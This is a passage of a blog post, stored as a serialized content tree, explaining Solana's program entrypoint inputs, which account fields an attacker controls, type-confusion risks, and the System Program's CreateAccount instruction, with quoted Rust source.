#[allow(clippy",{"type":26,"tag":217,"props":165474,"children":165475},{"style":7149},[165476],{"type":32,"value":56166},{"type":26,"tag":217,"props":165478,"children":165479},{"style":7048},[165480],{"type":32,"value":148799},{"type":26,"tag":217,"props":165482,"children":165483},{"class":7028,"line":7389},[165484,165488,165493,165497,165501,165505,165509,165513,165517,165521,165525,165529,165533,165537,165541,165545,165549,165553,165557],{"type":26,"tag":217,"props":165485,"children":165486},{"style":7154},[165487],{"type":32,"value":77780},{"type":26,"tag":217,"props":165489,"children":165490},{"style":7054},[165491],{"type":32,"value":165492}," num_accounts",{"type":26,"tag":217,"props":165494,"children":165495},{"style":7149},[165496],{"type":32,"value":8993},{"type":26,"tag":217,"props":165498,"children":165499},{"style":7149},[165500],{"type":32,"value":9690},{"type":26,"tag":217,"props":165502,"children":165503},{"style":7048},[165504],{"type":32,"value":1851},{"type":26,"tag":217,"props":165506,"children":165507},{"style":7054},[165508],{"type":32,"value":56415},{"type":26,"tag":217,"props":165510,"children":165511},{"style":7149},[165512],{"type":32,"value":180},{"type":26,"tag":217,"props":165514,"children":165515},{"style":7064},[165516],{"type":32,"value":61551},{"type":26,"tag":217,"props":165518,"children":165519},{"style":7048},[165520],{"type":32,"value":1851},{"type":26,"tag":217,"props":165522,"children":165523},{"style":7054},[165524],{"type":32,"value":35030},{"type":26,"tag":217,"props":165526,"children":165527},{"style":7048},[165528],{"type":32,"value":8380},{"type":26,"tag":217,"props":165530,"children":165531},{"style":7154},[165532],{"type":32,"value":91735},{"type":26,"tag":217,"props":165534,"children":165535},{"style":7149},[165536],{"type":32,"value":9690},{"type":26,"tag":217,"props":165538,"children":165539},{"style":7154},[165540],{"type":32,"value":74748},{"type":26,"tag":217,"props":165542,"children":165543},{"style":7119},[165544],{"type":32,"value":91146},{"type":26,"tag":217,"props":165546,"children":165547},{"style":7048},[165548],{"type":32,"value":8380},{"type":26,"tag":217,"props":165550,"children":165551},{"style":7154},[165552],{"type":32,"value":91735},{"type":26,"tag":217,"props":165554,"children":165555},{"style":7119},[165556],{"type":32,"value":94410},{"type":26,"tag":217,"props":165558,"children":165559},{"style":7048},[165560],{"type":32,"value":7162},{"type":26,"tag":217,"props":165562,"children":165563},{"class":7028,"line":7406},[165564,165569,165573,165577,165581,165585,165589],{"type":26,"tag":217,"props":165565,"children":165566},{"style":7054},[165567],{"type":32,"value":165568},"    offset",{"type":26,"tag":217,"props":165570,"children":165571},{"style":7149},[165572],{"type":32,"value":36168},{"type":26,"tag":217,"props":165574,"children":165575},{"style":7064},[165576],{"type":32,"value":148895},{"type":26,"tag":217,"props":165578,"children":165579},{"style":7149},[165580],{"type":32,"value":56166},{"type":26,"tag":217,"props":165582,"children":165583},{"style":7048},[165584],{"type":32,"value":7289},{"type":26,"tag":217,"props":165586,"children":165587},{"style":7119},[165588],{"type":32,"value":120978},{"type":26,"tag":217,"props":165590,"children":165591},{"style":7048},[165592],{"type":32,"value":104904},{"type":26,"tag":39,"props":165594,"children":165595},{},[165596,165598,165603,165605,165612],{"type":32,"value":165597},"Note that this binary blob ",{"type":26,"tag":9348,"props":165599,"children":165600},{},[165601],{"type":32,"value":165602},"is not attacker controlled",{"type":32,"value":165604},". Instead, this data is serialized by another program called ",{"type":26,"tag":163,"props":165606,"children":165609},{"href":165607,"rel":165608},"https://docs.solana.com/developing/on-chain-programs/overview#loaders",[167],[165610],{"type":32,"value":165611},"the BPF Loader",{"type":32,"value":165613}," which is part of the Solana runtime.",{"type":26,"tag":207,"props":165615,"children":165617},{"code":165616,"language":56139,"meta":8,"className":56140,"style":8},"/// Deserialize the input arguments\n///\n/// The integer arithmetic in this method is safe when called on a buffer that was\n/// serialized by runtime. Use with buffers serialized otherwise is unsupported and\n/// done at one's own risk.\n",[165618],{"type":26,"tag":83,"props":165619,"children":165620},{"__ignoreMap":8},[165621,165629,165636,165644,165652],{"type":26,"tag":217,"props":165622,"children":165623},{"class":7028,"line":7029},[165624],{"type":26,"tag":217,"props":165625,"children":165626},{"style":7033},[165627],{"type":32,"value":165628},"/// Deserialize the input arguments\n",{"type":26,"tag":217,"props":165630,"children":165631},{"class":7028,"line":6770},[165632],{"type":26,"tag":217,"props":165633,"children":165634},{"style":7033},[165635],{"type":32,"value":151127},{"type":26,"tag":217,"props":165637,"children":165638},{"class":7028,"line":6779},[165639],{"type":26,"tag":217,"props":165640,"children":165641},{"style":7033},[165642],{"type":32,"value":165643},"/// The integer arithmetic in this method is safe when called on a buffer that was\n",{"type":26,"tag":217,"props":165645,"children":165646},{"class":7028,"line":7140},[165647],{"type":26,"tag":217,"props":165648,"children":165649},{"style":7033},[165650],{"type":32,"value":165651},"/// serialized by runtime. Use with buffers serialized otherwise is unsupported and\n",{"type":26,"tag":217,"props":165653,"children":165654},{"class":7028,"line":7165},[165655],{"type":26,"tag":217,"props":165656,"children":165657},{"style":7033},[165658],{"type":32,"value":165659},"/// done at one's own risk.\n",{"type":26,"tag":39,"props":165661,"children":165662},{},[165663],{"type":32,"value":165664},"That being said, an attacker has a very large degree of control over this data. Let's take a closer look at what exactly this data is.",{"type":26,"tag":39,"props":165666,"children":165667},{},[165668,165670,165675],{"type":32,"value":165669},"Recall the return signature of the ",{"type":26,"tag":83,"props":165671,"children":165673},{"className":165672},[],[165674],{"type":32,"value":148567},{"type":32,"value":140},{"type":26,"tag":207,"props":165677,"children":165679},{"code":165678,"language":56139,"meta":8,"className":56140,"style":8},"(&'a Pubkey, Vec\u003CAccountInfo\u003C'a>>, &'a [u8])\n",[165680],{"type":26,"tag":83,"props":165681,"children":165682},{"__ignoreMap":8},[165683],{"type":26,"tag":217,"props":165684,"children":165685},{"class":7028,"line":7029},[165686,165690,165694,165698,165702,165706,165710,165714,165718,165722,165726,165730,165734,165738,165742,165746,165750,165754],{"type":26,"tag":217,"props":165687,"children":165688},{"style":7048},[165689],{"type":32,"value":1851},{"type":26,"tag":217,"props":165691,"children":165692},{"style":7149},[165693],{"type":32,"value":9804},{"type":26,"tag":217,"props":165695,"children":165696},{"style":7048},[165697],{"type":32,"value":165345},{"type":26,"tag":217,"props":165699,"children":165700},{"style":7119},[165701],{"type":32,"value":163},{"type":26,"tag":217,"props":165703,"children":165704},{"style":7119},[165705],{"type":32,"value":93283},{"type":26,"tag":217,"props":165707,"children":165708},{"style":7048},[165709],{"type":32,"value":7599},{"type":26,"tag":217,"props":165711,"children":165712},{"style":7119},[165713],{"type":32,"value":907},{"type":26,"tag":217,"props":165715,"children":165716},{"style":7048},[165717],{"type":32,"value":7289},{"type":26,"tag":217,"props":165719,"children":165720},{"style":7119},[165721],{"type":32,"value":93505},{"type":26,"tag":217,"props":165723,"children":165724},{"style":7048},[165725],{"type":32,"value":90764},{"type":26,"tag":217,"props":165727,"children":165728},{"style":7119},[165729],{"type":32,"value":163},{"type":26,"tag":217,"props":165731,"children":165732},{"style":7048},[165733],{"type":32,"value":165382},{"type":26,"tag":217,"props":165735,"children":165736},{"style":7149},[165737],{"type":32,"value":9804},{"type":26,"tag":217,"props":165739,"children":165740},{"style":7048},[165741],{"type":32,"value":165345},{"type":26,"tag":217,"props":165743,"children":165744},{"style":7119},[165745],{"type":32,"value":163},{"type":26,"tag":217,"props":165747,"children":165748},{"style":7048},[165749],{"type":32,"value":95870},{"type":26,"tag":217,"props":165751,"children":165752},{"style":7119},[165753],{"type":32,"value":36887},{"type":26,"tag":217,"props":165755,"children":165756},{"style":7048},[165757],{"type":32,"value":89638},{"type":26,"tag":39,"props":165759,"children":165760},{},[165761],{"type":32,"value":165762},"The first part of the tuple represents the id of the running program. This is often used to check for proper ownership of accounts. For example, it's generally only safe to operate on accounts that you own to ensure data integrity.",{"type":26,"tag":39,"props":165764,"children":165765},{},[165766],{"type":32,"value":165767},"The second part of the tuple is a list of account information.",{"type":26,"tag":207,"props":165769,"children":165771},{"code":165770,"language":56139,"meta":8,"className":56140,"style":8},"pub struct AccountInfo\u003C'a> {\n    pub key: &'a Pubkey,\n    pub is_signer: bool,\n    pub is_writable: bool,\n    pub lamports: Rc\u003CRefCell\u003C&'a mut u64>>,\n    pub data: Rc\u003CRefCell\u003C&'a mut [u8]>>,\n    pub owner: &'a Pubkey,\n    pub executable: bool,\n    pub rent_epoch: Epoch,\n}\n",[165772],{"type":26,"tag":83,"props":165773,"children":165774},{"__ignoreMap":8},[165775,165802,165837,165861,165884,165939,165999,166034,166058,166083],{"type":26,"tag":217,"props":165776,"children":165777},{"class":7028,"line":7029},[165778,165782,165786,165790,165794,165798],{"type":26,"tag":217,"props":165779,"children":165780},{"style":7154},[165781],{"type":32,"value":56830},{"type":26,"tag":217,"props":165783,"children":165784},{"style":7154},[165785],{"type":32,"value":77038},{"type":26,"tag":217,"props":165787,"children":165788},{"style":7119},[165789],{"type":32,"value":90919},{"type":26,"tag":217,"props":165791,"children":165792},{"style":7048},[165793],{"type":32,"value":90764},{"type":26,"tag":217,"props":165795,"children":165796},{"style":7119},[165797],{"type":32,"value":163},{"type":26,"tag":217,"props":165799,"children":165800},{"style":7048},[165801],{"type":32,"value":77772},{"type":26,"tag":217,"props":165803,"children":165804},{"class":7028,"line":6770},[165805,165809,165813,165817,165821,165825,165829,165833],{"type":26,"tag":217,"props":165806,"children":165807},{"style":7154},[165808],{"type":32,"value":90798},{"type":26,"tag":217,"props":165810,"children":165811},{"style":7054},[165812],{"type":32,"value":78245},{"type":26,"tag":217,"props":165814,"children":165815},{"style":7149},[165816],{"type":32,"value":1473},{"type":26,"tag":217,"props":165818,"children":165819},{"style":7149},[165820],{"type":32,"value":10222},{"type":26,"tag":217,"props":165822,"children":165823},{"style":7048},[165824],{"type":32,"value":165345},{"type":26,"tag":217,"props":165826,"children":165827},{"style":7119},[165828],{"type":32,"value":163},{"type":26,"tag":217,"props":165830,"children":165831},{"style":7119},[165832],{"type":32,"value":93283},{"type":26,"tag":217,"props":165834,"children":165835},{"style":7048},[165836],{"type":32,"value":10953},{"type":26,"tag":217,"props":165838,"children":165839},{"class":7028,"line":6779},[165840,165844,165849,165853,165857],{"type":26,"tag":217,"props":165841,"children":165842},{"style":7154},[165843],{"type":32,"value":90798},{"type":26,"tag":217,"props":165845,"children":165846},{"style":7054},[165847],{"type":32,"value":165848}," is_signer",{"type":26,"tag":217,"props":165850,"children":165851},{"style":7149},[165852],{"type":32,"value":1473},{"type":26,"tag":217,"props":165854,"children":165855},{"style":7119},[165856],{"type":32,"value":79568},{"type":26,"tag":217,"props":165858,"children":165859},{"style":7048},[165860],{"type":32,"value":10953},{"type":26,"tag":217,"props":165862,"children":165863},{"class":7028,"line":7140},[165864,165868,165872,165876,165880],{"type":26,"tag":217,"props":165865,"children":165866},{"style":7154},[165867],{"type":32,"value":90798},{"type":26,"tag":217,"props":165869,"children":165870},{"style":7054},[165871],{"type":32,"value":149438},{"type":26,"tag":217,"props":165873,"children":165874},{"style":7149},[165875],{"type":32,"value":1473},{"type":26,"tag":217,"props":165877,"children":165878},{"style":7119},[165879],{"type":32,"value":79568},{"type":26,"tag":217,"props":165881,"children":165882},{"style":7048},[165883],{"type":32,"value":10953},{"type":26,"tag":217,"props":165885,"children":165886},{"class":7028,"line":7165},[165887,165891,165895,165899,165903,165907,165911,165915,165919,165923,165927,165931,165935],{"type":26,"tag":217,"props":165888,"children":165889},{"style":7154},[165890],{"type":32,"value":90798},{"type":26,"tag":217,"props":165892,"children":165893},{"style":7054},[165894],{"type":32,"value":92677},{"type":26,"tag":217,"props":165896,"children":165897},{"style":7149},[165898],{"type":32,"value":1473},{"type":26,"tag":217,"props":165900,"children":165901},{"style":7119},[165902],{"type":32,"value":148938},{"type":26,"tag":217,"props":165904,"children":165905},{"style":7048},[165906],{"type":32,"value":7289},{"type":26,"tag":217,"props":165908,"children":165909},{"style":7119},[165910],{"type":32,"value":149319},{"type":26,"tag":217,"props":165912,"children":165913},{"style":7048},[165914],{"type":32,"value":7289},{"type":26,"tag":217,"props":165916,"children":165917},{"style":7149},[165918],{"type":32,"value":9804},{"type":26,"tag":217,"props":165920,"children":165921},{"style":7048},[165922],{"type":32,"value":165345},{"type":26,"tag":217,"props":165924,"children":165925},{"style":7119},[165926],{"type":32,"value":163},{"type":26,"tag":217,"props":165928,"children":165929},{"style":7154},[165930],{"type":32,"value":94619},{"type":26,"tag":217,"props":165932,"children":165933},{"style":7119},[165934],{"type":32,"value":91146},{"type":26,"tag":217,"props":165936,"children":165937},{"style":7048},[165938],{"type":32,"value":144073},{"type":26,"tag":217,"props":165940,"children":165941},{"class":7028,"line":7178},[165942,165946,165950,165954,165958,165962,165966,165970,165974,165978,165982,165986,165990,165994],{"type":26,"tag":217,"props":165943,"children":165944},{"style":7154},[165945],{"type":32,"value":90798},{"type":26,"tag":217,"props":165947,"children":165948},{"style":7054},[165949],{"type":32,"value":35391},{"type":26,"tag":217,"props":165951,"children":165952},{"style":7149},[165953],{"type":32,"value":1473},{"type":26,"tag":217,"props":165955,"children":165956},{"style":7119},[165957],{"type":32,"value":148938},{"type":26,"tag":217,"props":165959,"children":165960},{"style":7048},[165961],{"type":32,"value":7289},{"type":26,"tag":217,"props":165963,"children":165964},{"style":7119},[165965],{"type":32,"value":149319},{"type":26,"tag":217,"props":165967,"children":165968},{"style":7048},[165969],{"type":32,"value":7289},{"type":26,"tag":217,"props":165971,"children":165972},{"style":7149},[165973],{"type":32,"value":9804},{"type":26,"tag":217,"props":165975,"children":165976},{"style":7048},[165977],{"type":32,"value":165345},{"type":26,"tag":217,"props":165979,"children":165980},{"style":7119},[165981],{"type":32,"value":163},{"type":26,"tag":217,"props":165983,"children":165984},{"style":7154},[165985],{"type":32,"value":94619},{"type":26,"tag":217,"props":165987,"children":165988},{"style":7048},[165989],{"type":32,"value":95870},{"type":26,"tag":217,"props":165991,"children":165992},{"style":7119},[165993],{"type":32,"value":36887},{"type":26,"tag":217,"props":165995,"children":165996},{"style":7048},[165997],{"type":32,"value":165998},"]>>,\n",{"type":26,"tag":217,"props":166000,"children":166001},{"class":7028,"line":7389},[166002,166006,166010,166014,166018,166022,166026,166030],{"type":26,"tag":217,"props":166003,"children":166004},{"style":7154},[166005],{"type":32,"value":90798},{"type":26,"tag":217,"props":166007,"children":166008},{"style":7054},[166009],{"type":32,"value":139395},{"type":26,"tag":217,"props":166011,"children":166012},{"style":7149},[166013],{"type":32,"value":1473},{"type":26,"tag":217,"props":166015,"children":166016},{"style":7149},[166017],{"type":32,"value":10222},{"type":26,"tag":217,"props":166019,"children":166020},{"style":7048},[166021],{"type":32,"value":165345},{"type":26,"tag":217,"props":166023,"children":166024},{"style":7119},[166025],{"type":32,"value":163},{"type":26,"tag":217,"props":166027,"children":166028},{"style":7119},[166029],{"type":32,"value":93283},{"type":26,"tag":217,"props":166031,"children":166032},{"style":7048},[166033],{"type":32,"value":10953},{"type":26,"tag":217,"props":166035,"children":166036},{"class":7028,"line":7406},[166037,166041,166046,166050,166054],{"type":26,"tag":217,"props":166038,"children":166039},{"style":7154},[166040],{"type":32,"value":90798},{"type":26,"tag":217,"props":166042,"children":166043},{"style":7054},[166044],{"type":32,"value":166045}," executable",{"type":26,"tag":217,"props":166047,"children":166048},{"style":7149},[166049],{"type":32,"value":1473},{"type":26,"tag":217,"props":166051,"children":166052},{"style":7119},[166053],{"type":32,"value":79568},{"type":26,"tag":217,"props":166055,"children":166056},{"style":7048},[166057],{"type":32,"value":10953},{"type":26,"tag":217,"props":166059,"children":166060},{"class":7028,"line":7439},[166061,166065,166070,166074,166079],{"type":26,"tag":217,"props":166062,"children":166063},{"style":7154},[166064],{"type":32,"value":90798},{"type":26,"tag":217,"props":166066,"children":166067},{"style":7054},[166068],{"type":32,"value":166069}," rent_epoch",{"type":26,"tag":217,"props":166071,"children":166072},{"style":7149},[166073],{"type":32,"value":1473},{"type":26,"tag":217,"props":166075,"children":166076},{"style":7119},[166077],{"type":32,"value":166078}," Epoch",{"type":26,"tag":217,"props":166080,"children":166081},{"style":7048},[166082],{"type":32,"value":10953},{"type":26,"tag":217,"props":166084,"children":166085},{"class":7028,"line":7487},[166086],{"type":26,"tag":217,"props":166087,"children":166088},{"style":7048},[166089],{"type":32,"value":7184},{"type":26,"tag":39,"props":166091,"children":166092},{},[166093,166095,166099],{"type":32,"value":166094},"This is the associated metadata with any given account. In other words, this represents ",{"type":26,"tag":9348,"props":166096,"children":166097},{},[166098],{"type":32,"value":143148},{"type":32,"value":166100}," of the information that a Solana onchain program can know about an account. Some of the more important fields include:",{"type":26,"tag":2040,"props":166102,"children":166103},{},[166104,166109,166121,166126],{"type":26,"tag":2044,"props":166105,"children":166106},{},[166107],{"type":32,"value":166108},"key: The pubkey corresponding to this account",{"type":26,"tag":2044,"props":166110,"children":166111},{},[166112,166114,166120],{"type":32,"value":166113},"is_signer: If there is a signature for this account, often used to allow privileged operations. See ",{"type":26,"tag":163,"props":166115,"children":166118},{"href":166116,"rel":166117},"https://docs.solana.com/developing/programming-model/accounts#signers",[167],[166119],{"type":32,"value":97047},{"type":32,"value":180},{"type":26,"tag":2044,"props":166122,"children":166123},{},[166124],{"type":32,"value":166125},"is_writable: If the account can be modified, both with respect to lamports and account data",{"type":26,"tag":2044,"props":166127,"children":166128},{},[166129],{"type":32,"value":166130},"lamports: A lamport is 0.000000001 sol. Accounts have an associated amount of lamports.",{"type":26,"tag":39,"props":166132,"children":166133},{},[166134,166136,166141],{"type":32,"value":166135},"While which accounts to pass in are entirely attacker controlled, the metadata associated with the account is not. For example, you can only specify an account as ",{"type":26,"tag":83,"props":166137,"children":166139},{"className":166138},[],[166140],{"type":32,"value":161242},{"type":32,"value":166142}," if you can generate a valid signature for it. Account data is also only modifiable by the account owner.",{"type":26,"tag":39,"props":166144,"children":166145},{},[166146],{"type":32,"value":166147},"Instruction data is a list of bytes and is entirely attacker controlled.",{"type":26,"tag":39,"props":166149,"children":166150},{},[166151,166153,166158],{"type":32,"value":166152},"To summarize, we are able to call the ",{"type":26,"tag":83,"props":166154,"children":166156},{"className":166155},[],[166157],{"type":32,"value":58743},{"type":32,"value":166159}," of any program with:",{"type":26,"tag":2040,"props":166161,"children":166162},{},[166163,166168],{"type":26,"tag":2044,"props":166164,"children":166165},{},[166166],{"type":32,"value":166167},"Any accounts we choose",{"type":26,"tag":2044,"props":166169,"children":166170},{},[166171],{"type":32,"value":166172},"Any instruction data",{"type":26,"tag":39,"props":166174,"children":166175},{},[166176],{"type":32,"value":166177},"You might already see how type-confusion is (or was before Anchor) a huge issue on Solana. Because there is no execution-level typing of accounts, it's very easy for a malicious user to pass in an account of the wrong type. Some solutions to implementing type information include hardcoding the pubkey of the account, storing a type tag, or both.",{"type":26,"tag":27,"props":166179,"children":166181},{"id":166180},"onchain-programs",[166182],{"type":32,"value":166183},"Onchain Programs",{"type":26,"tag":39,"props":166185,"children":166186},{},[166187],{"type":32,"value":166188},"Solana also provides a number of native programs. An important thing to remember is that these native programs operate at a less privileged level than the execution model. In other words, any restrictions imposed by the execution model, such as not being able to write to readonly accounts, applies to the native programs as well.",{"type":26,"tag":39,"props":166190,"children":166191},{},[166192,166194,166201],{"type":32,"value":166193},"A full list of programs ",{"type":26,"tag":163,"props":166195,"children":166198},{"href":166196,"rel":166197},"https://docs.solana.com/developing/runtime-facilities/programs",[167],[166199],{"type":32,"value":166200},"can be found here",{"type":32,"value":180},{"type":26,"tag":39,"props":166203,"children":166204},{},[166205],{"type":32,"value":166206},"The primary native program you'll likely interact with is the System Program.",{"type":26,"tag":207,"props":166208,"children":166210},{"code":166209},"11111111111111111111111111111111\n",[166211],{"type":26,"tag":83,"props":166212,"children":166213},{"__ignoreMap":8},[166214],{"type":32,"value":166209},{"type":26,"tag":39,"props":166216,"children":166217},{},[166218,166220],{"type":32,"value":166219},"These instructions are processed in ",{"type":26,"tag":163,"props":166221,"children":166224},{"href":166222,"rel":166223},"https://github.com/solana-labs/solana/blob/master/runtime/src/system_instruction_processor.rs",[167],[166225],{"type":32,"value":166226},"system_instruction_processor.rs",{"type":26,"tag":207,"props":166228,"children":166230},{"code":166229,"language":56139,"meta":8,"className":56140,"style":8},"match instruction {\n    SystemInstruction::CreateAccount {\n        lamports,\n        space,\n        owner,\n    } => {\n",[166231],{"type":26,"tag":83,"props":166232,"children":166233},{"__ignoreMap":8},[166234,166250,166270,166282,166294,166306],{"type":26,"tag":217,"props":166235,"children":166236},{"class":7028,"line":7029},[166237,166242,166246],{"type":26,"tag":217,"props":166238,"children":166239},{"style":7042},[166240],{"type":32,"value":166241},"match",{"type":26,"tag":217,"props":166243,"children":166244},{"style":7054},[166245],{"type":32,"value":98417},{"type":26,"tag":217,"props":166247,"children":166248},{"style":7048},[166249],{"type":32,"value":8064},{"type":26,"tag":217,"props":166251,"children":166252},{"class":7028,"line":6770},[166253,166258,166262,166266],{"type":26,"tag":217,"props":166254,"children":166255},{"style":7119},[166256],{"type":32,"value":166257},"    SystemInstruction",{"type":26,"tag":217,"props":166259,"children":166260},{"style":7149},[166261],{"type":32,"value":56166},{"type":26,"tag":217,"props":166263,"children":166264},{"style":7119},[166265],{"type":32,"value":123582},{"type":26,"tag":217,"props":166267,"children":166268},{"style":7048},[166269],{"type":32,"value":8064},{"type":26,"tag":217,"props":166271,"children":166272},{"class":7028,"line":6779},[166273,166278],{"type":26,"tag":217,"props":166274,"children":166275},{"style":7054},[166276],{"type":32,"value":166277},"        lamports",{"type":26,"tag":217,"props":166279,"children":166280},{"style":7048},[166281],{"type":32,"value":10953},{"type":26,"tag":217,"props":166283,"children":166284},{"class":7028,"line":7140},[166285,166290],{"type":26,"tag":217,"props":166286,"children":166287},{"style":7054},[166288],{"type":32,"value":166289},"        space",{"type":26,"tag":217,"props":166291,"children":166292},{"style":7048},[166293],{"type":32,"value":10953},{"type":26,"tag":217,"props":166295,"children":166296},{"class":7028,"line":7165},[166297,166302],{"type":26,"tag":217,"props":166298,"children":166299},{"style":7054},[166300],{"type":32,"value":166301},"        owner",{"type":26,"tag":217,"props":166303,"children":166304},{"style":7048},[166305],{"type":32,"value":10953},{"type":26,"tag":217,"props":166307,"children":166308},{"class":7028,"line":7178},[166309,166313,166317],{"type":26,"tag":217,"props":166310,"children":166311},{"style":7048},[166312],{"type":32,"value":40847},{"type":26,"tag":217,"props":166314,"children":166315},{"style":7149},[166316],{"type":32,"value":8059},{"type":26,"tag":217,"props":166318,"children":166319},{"style":7048},[166320],{"type":32,"value":8064},{"type":26,"tag":39,"props":166322,"children":166323},{},[166324],{"type":32,"value":166325},"A full list of the available instructions can be found by reading the source.",{"type":26,"tag":39,"props":166327,"children":166328},{},[166329,166331,166336,166337,166343],{"type":32,"value":166330},"In to demonstrate some of the previous concepts, we will go over two instructions, ",{"type":26,"tag":83,"props":166332,"children":166334},{"className":166333},[],[166335],{"type":32,"value":123582},{"type":32,"value":1308},{"type":26,"tag":83,"props":166338,"children":166340},{"className":166339},[],[166341],{"type":32,"value":166342},"Transfer",{"type":32,"value":180},{"type":26,"tag":39,"props":166345,"children":166346},{},[166347,166352],{"type":26,"tag":83,"props":166348,"children":166350},{"className":166349},[],[166351],{"type":32,"value":123582},{"type":32,"value":166353}," requires the lamports, space, and owner to initialize the account with.",{"type":26,"tag":207,"props":166355,"children":166357},{"code":166356,"language":56139,"meta":8,"className":56140,"style":8},"pub fn create_account(\n    from_pubkey: &Pubkey,\n    to_pubkey: &Pubkey,\n    lamports: u64,\n    space: u64,\n    owner: &Pubkey,\n) -> Instruction {\n    let account_metas = vec![\n        AccountMeta::new(*from_pubkey, true),\n        AccountMeta::new(*to_pubkey, true),\n    ];\n    Instruction::new_with_bincode(\n        system_program::id(),\n        &SystemInstruction::CreateAccount {\n            lamports,\n            space,\n            owner: *owner,\n        },\n        account_metas,\n    )\n}\n",[166358],{"type":26,"tag":83,"props":166359,"children":166360},{"__ignoreMap":8},[166361,166381,166405,166429,166449,166469,166492,166511,166535,166576,166616,166624,166644,166663,166686,166697,166708,166731,166738,166750,166757],{"type":26,"tag":217,"props":166362,"children":166363},{"class":7028,"line":7029},[166364,166368,166372,166377],{"type":26,"tag":217,"props":166365,"children":166366},{"style":7154},[166367],{"type":32,"value":56830},{"type":26,"tag":217,"props":166369,"children":166370},{"style":7154},[166371],{"type":32,"value":56835},{"type":26,"tag":217,"props":166373,"children":166374},{"style":7064},[166375],{"type":32,"value":166376}," create_account",{"type":26,"tag":217,"props":166378,"children":166379},{"style":7048},[166380],{"type":32,"value":10932},{"type":26,"tag":217,"props":166382,"children":166383},{"class":7028,"line":6770},[166384,166389,166393,166397,166401],{"type":26,"tag":217,"props":166385,"children":166386},{"style":7054},[166387],{"type":32,"value":166388},"    from_pubkey",{"type":26,"tag":217,"props":166390,"children":166391},{"style":7149},[166392],{"type":32,"value":1473},{"type":26,"tag":217,"props":166394,"children":166395},{"style":7149},[166396],{"type":32,"value":10222},{"type":26,"tag":217,"props":166398,"children":166399},{"style":7119},[166400],{"type":32,"value":93369},{"type":26,"tag":217,"props":166402,"children":166403},{"style":7048},[166404],{"type":32,"value":10953},{"type":26,"tag":217,"props":166406,"children":166407},{"class":7028,"line":6779},[166408,166413,166417,166421,166425],{"type":26,"tag":217,"props":166409,"children":166410},{"style":7054},[166411],{"type":32,"value":166412},"    to_pubkey",{"type":26,"tag":217,"props":166414,"children":166415},{"style":7149},[166416],{"type":32,"value":1473},{"type":26,"tag":217,"props":166418,"children":166419},{"style":7149},[166420],{"type":32,"value":10222},{"type":26,"tag":217,"props":166422,"children":166423},{"style":7119},[166424],{"type":32,"value":93369},{"type":26,"tag":217,"props":166426,"children":166427},{"style":7048},[166428],{"type":32,"value":10953},{"type":26,"tag":217,"props":166430,"children":166431},{"class":7028,"line":7140},[166432,166437,166441,166445],{"type":26,"tag":217,"props":166433,"children":166434},{"style":7054},[166435],{"type":32,"value":166436},"    lamports",{"type":26,"tag":217,"props":166438,"children":166439},{"style":7149},[166440],{"type":32,"value":1473},{"type":26,"tag":217,"props":166442,"children":166443},{"style":7119},[166444],{"type":32,"value":91146},{"type":26,"tag":217,"props":166446,"children":166447},{"style":7048},[166448],{"type":32,"value":10953},{"type":26,"tag":217,"props":166450,"children":166451},{"class":7028,"line":7165},[166452,166457,166461,166465],{"type":26,"tag":217,"props":166453,"children":166454},{"style":7054},[166455],{"type":32,"value":166456},"    space",{"type":26,"tag":217,"props":166458,"children":166459},{"style":7149},[166460],{"type":32,"value":1473},{"type":26,"tag":217,"props":166462,"children":166463},{"style":7119},[166464],{"type":32,"value":91146},{"type":26,"tag":217,"props":166466,"children":166467},{"style":7048},[166468],{"type":32,"value":10953},{"type":26,"tag":217,"props":166470,"children":166471},{"class":7028,"line":7178},[166472,166476,166480,166484,166488],{"type":26,"tag":217,"props":166473,"children":166474},{"style":7054},[166475],{"type":32,"value":101627},{"type":26,"tag":217,"props":166477,"children":166478},{"style":7149},[166479],{"type":32,"value":1473},{"type":26,"tag":217,"props":166481,"children":166482},{"style":7149},[166483],{"type":32,"value":10222},{"type":26,"tag":217,"props":166485,"children":166486},{"style":7119},[166487],{"type":32,"value":93369},{"type":26,"tag":217,"props":166489,"children":166490},{"style":7048},[166491],{"type":32,"value":10953},{"type":26,"tag":217,"props":166493,"children":166494},{"class":7028,"line":7389},[166495,166499,166503,166507],{"type":26,"tag":217,"props":166496,"children":166497},{"style":7048},[166498],{"type":32,"value":8380},{"type":26,"tag":217,"props":166500,"children":166501},{"style":7149},[166502],{"type":32,"value":10115},{"type":26,"tag":217,"props":166504,"children":166505},{"style":7119},[166506],{"type":32,"value":121167},{"type":26,"tag":217,"props":166508,"children":166509},{"style":7048},[166510],{"type":32,"value":8064},{"type":26,"tag":217,"props":166512,"children":166513},{"class":7028,"line":7406},[166514,166518,166523,166527,166531],{"type":26,"tag":217,"props":166515,"children":166516},{"style":7154},[166517],{"type":32,"value":77780},{"type":26,"tag":217,"props":166519,"children":166520},{"style":7054},[166521],{"type":32,"value":166522}," account_metas",{"type":26,"tag":217,"props":166524,"children":166525},{"style":7149},[166526],{"type":32,"value":8993},{"type":26,"tag":217,"props":166528,"children":166529},{"style":7064},[166530],{"type":32,"value":121258},{"type":26,"tag":217,"props":166532,"children":166533},{"style":7048},[166534],{"type":32,"value":123702},{"type":26,"tag":217,"props":166536,"children":166537},{"class":7028,"line":7439},[166538,166543,166547,166551,166555,166559,166564,166568,166572],{"type":26,"tag":217,"props":166539,"children":166540},{"style":7119},[166541],{"type":32,"value":166542},"        AccountMeta",{"type":26,"tag":217,"props":166544,"children":166545},{"style":7149},[166546],{"type":32,"value":56166},{"type":26,"tag":217,"props":166548,"children":166549},{"style":7064},[166550],{"type":32,"value":7116},{"type":26,"tag":217,"props":166552,"children":166553},{"style":7048},[166554],{"type":32,"value":1851},{"type":26,"tag":217,"props":166556,"children":166557},{"style":7149},[166558],{"type":32,"value":10006},{"type":26,"tag":217,"props":166560,"children":166561},{"style":7054},[166562],{"type":32,"value":166563},"from_pubkey",{"type":26,"tag":217,"props":166565,"children":166566},{"style":7048},[166567],{"type":32,"value":7599},{"type":26,"tag":217,"props":166569,"children":166570},{"style":7154},[166571],{"type":32,"value":231},{"type":26,"tag":217,"props":166573,"children":166574},{"style":7048},[166575],{"type":32,"value":13841},{"type":26,"tag":217,"props":166577,"children":166578},{"class":7028,"line":7487},[166579,166583,166587,166591,166595,166599,166604,166608,166612],{"type":26,"tag":217,"props":166580,"children":166581},{"style":7119},[166582],{"type":32,"value":166542},{"type":26,"tag":217,"props":166584,"children":166585},{"style":7149},[166586],{"type":32,"value":56166},{"type":26,"tag":217,"props":166588,"children":166589},{"style":7064},[166590],{"type":32,"value":7116},{"type":26,"tag":217,"props":166592,"children":166593},{"style":7048},[166594],{"type":32,"value":1851},{"type":26,"tag":217,"props":166596,"children":166597},{"style":7149},[